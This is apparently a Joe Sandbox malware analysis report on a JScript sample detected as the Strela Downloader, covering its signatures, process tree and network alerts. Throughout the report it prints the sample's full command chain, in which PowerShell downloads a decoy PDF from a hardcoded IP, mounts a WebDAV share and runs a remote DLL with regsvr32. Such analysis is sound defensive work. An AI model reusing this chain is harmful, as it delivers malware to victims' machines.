Edit tour

Windows Analysis Report
62212369534426657.js

Overview

General Information

Sample name:	62212369534426657.js
Analysis ID:	1587745
MD5:	a93ec016fa19d3443078ee4d3dea2ceb
SHA1:	cfb8d58d52130b3092b014140bde5cc20039fd12
SHA256:	9ee86f340af39079ece3722e3408e9ea5ccdea55c235d0c1d8d0607464698cd5
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5048 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\62212369534426657.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6064 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5208 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6068 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 1524 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2644 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5268 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1372,i,2302667592587128853,16734270129016424044,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 2760 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 2864 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 4836 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5048	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6064, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6068, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6064, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6068, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\62212369534426657.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\62212369534426657.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\62212369534426657.js", ProcessId: 5048, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 2864, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49735

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\62212369534426657.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5048, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, ProcessId: 6064, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\62212369534426657.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5048, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, ProcessId: 6064, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\62212369534426657.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5048, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, ProcessId: 6064, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\62212369534426657.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5048, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, ProcessId: 6064, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\62212369534426657.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5048, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, ProcessId: 6064, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\62212369534426657.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\62212369534426657.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\62212369534426657.js", ProcessId: 5048, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6064, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6068, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2760, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2864, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 4836, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2760, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2864, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\62212369534426657.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5048, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll, ProcessId: 6064, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T17:32:43.359614+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49735	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T17:32:40.134510+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49711	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 62212369534426657.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 62212369534426657.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49735 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:32:40 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49735

Source: global traffic

TCP traffic: 192.168.2.6:49735 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.6:54104 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49711 -> 193.143.1.205:80

Source: global traffic

